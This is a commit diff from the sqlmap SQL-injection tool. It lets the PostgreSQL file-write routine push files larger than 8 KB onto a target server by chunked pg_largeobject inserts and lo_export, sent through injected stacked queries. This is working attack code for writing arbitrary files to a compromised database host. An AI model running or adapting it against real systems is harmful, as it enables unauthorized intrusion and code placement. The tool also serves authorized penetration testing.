This commit is contained in:
Miroslav Stampar 2015-07-24 14:56:45 +02:00
parent 8df3d7a6fa
commit b6ea2fdb07
3 changed files with 31 additions and 59 deletions

View File

@ -611,6 +611,9 @@ MIN_ENCODED_LEN_CHECK = 5
# Timeout in seconds in which Metasploit remote session has to be initialized # Timeout in seconds in which Metasploit remote session has to be initialized
METASPLOIT_SESSION_TIMEOUT = 300 METASPLOIT_SESSION_TIMEOUT = 300
# Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html
LOBLKSIZE = 2048
# Suffix used to mark variables having keyword names # Suffix used to mark variables having keyword names
EVALCODE_KEYWORD_SUFFIX = "_KEYWORD" EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"

View File

@ -11,12 +11,14 @@ from lib.core.common import randomInt
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.settings import LOBLKSIZE
from lib.request import inject from lib.request import inject
from plugins.generic.filesystem import Filesystem as GenericFilesystem from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem): class Filesystem(GenericFilesystem):
def __init__(self): def __init__(self):
self.oid = None self.oid = None
self.page = None
GenericFilesystem.__init__(self) GenericFilesystem.__init__(self)
@ -35,34 +37,13 @@ class Filesystem(GenericFilesystem):
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
wFileSize = os.path.getsize(wFile) wFileSize = os.path.getsize(wFile)
content = open(wFile, "rb").read()
if wFileSize > 8192:
errMsg = "on PostgreSQL it is not possible to write files "
errMsg += "bigger than 8192 bytes at the moment"
raise SqlmapUnsupportedFeatureException(errMsg)
self.oid = randomInt() self.oid = randomInt()
self.page = 0
debugMsg = "creating a support table to write the base64 "
debugMsg += "encoded file to"
logger.debug(debugMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "text") self.createSupportTbl(self.fileTblName, self.tblField, "text")
logger.debug("encoding file to its base64 string value")
fcEncodedList = self.fileEncode(wFile, "base64", False)
debugMsg = "forging SQL statements to write the base64 "
debugMsg += "encoded file to the support table"
logger.debug(debugMsg)
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the base64 encoded file to the support table")
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
debugMsg = "create a new OID for a large object, it implicitly " debugMsg = "create a new OID for a large object, it implicitly "
debugMsg += "adds an entry in the large objects system table" debugMsg += "adds an entry in the large objects system table"
logger.debug(debugMsg) logger.debug(debugMsg)
@ -70,44 +51,25 @@ class Filesystem(GenericFilesystem):
# References: # References:
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
inject.goStacked("SELECT lo_unlink(%d)" % self.oid) inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
inject.goStacked("SELECT lo_create(%d)" % self.oid)
debugMsg = "updating the system large objects table assigning to " for offset in xrange(0, wFileSize, LOBLKSIZE):
debugMsg += "the just created OID the binary (base64 decoded) UDF " fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False)
debugMsg += "as data" sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug(debugMsg)
# Refereces: for sqlQuery in sqlQueries:
# * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html inject.goStacked(sqlQuery)
# * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
#
# NOTE: From PostgreSQL site:
#
# "The data stored in the large object will never be more than
# LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
# typically 2 Kb"
#
# As a matter of facts it was possible to store correctly a file
# large 13776 bytes, the problem arises at next step (lo_export())
#
# Inject manually into PostgreSQL system table pg_largeobject the
# base64-decoded file content. Note that PostgreSQL >= 9.0 does
# not accept UPDATE into that table for some reason.
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if banVer >= "9.0": inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, 0, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.tblField, self.fileTblName)) inject.goStacked("DELETE FROM %s" % self.fileTblName)
else:
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid)) self.page += 1
debugMsg = "exporting the OID %s file content to " % fileType debugMsg = "exporting the OID %s file content to " % fileType
debugMsg += "file '%s'" % dFile debugMsg += "file '%s'" % dFile
logger.debug(debugMsg) logger.debug(debugMsg)
# NOTE: lo_export() exports up to only 8192 bytes of the file
# (pg_largeobject 'data' field)
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
written = self.askCheckWrittenFile(wFile, dFile, forceCheck) written = self.askCheckWrittenFile(wFile, dFile, forceCheck)

View File

@ -42,7 +42,7 @@ class Filesystem:
lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile
elif Backend.isDbms(DBMS.PGSQL) and not fileRead: elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
elif Backend.isDbms(DBMS.MSSQL): elif Backend.isDbms(DBMS.MSSQL):
self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
@ -105,20 +105,27 @@ class Filesystem:
return sqlQueries return sqlQueries
def fileEncode(self, fileName, encoding, single): def fileEncode(self, fileName, encoding, single, chunkSize=256):
""" """
Called by MySQL and PostgreSQL plugins to write a file on the Called by MySQL and PostgreSQL plugins to write a file on the
back-end DBMS underlying file system back-end DBMS underlying file system
""" """
retVal = []
with open(fileName, "rb") as f: with open(fileName, "rb") as f:
content = f.read().encode(encoding).replace("\n", "") content = f.read()
return self.fileContentEncode(content, encoding, single, chunkSize)
def fileContentEncode(self, content, encoding, single, chunkSize=256):
retVal = []
if encoding:
content = content.encode(encoding).replace("\n", "")
if not single: if not single:
if len(content) > 256: if len(content) > chunkSize:
for i in xrange(0, len(content), 256): for i in xrange(0, len(content), chunkSize):
_ = content[i:i + 256] _ = content[i:i + chunkSize]
if encoding == "hex": if encoding == "hex":
_ = "0x%s" % _ _ = "0x%s" % _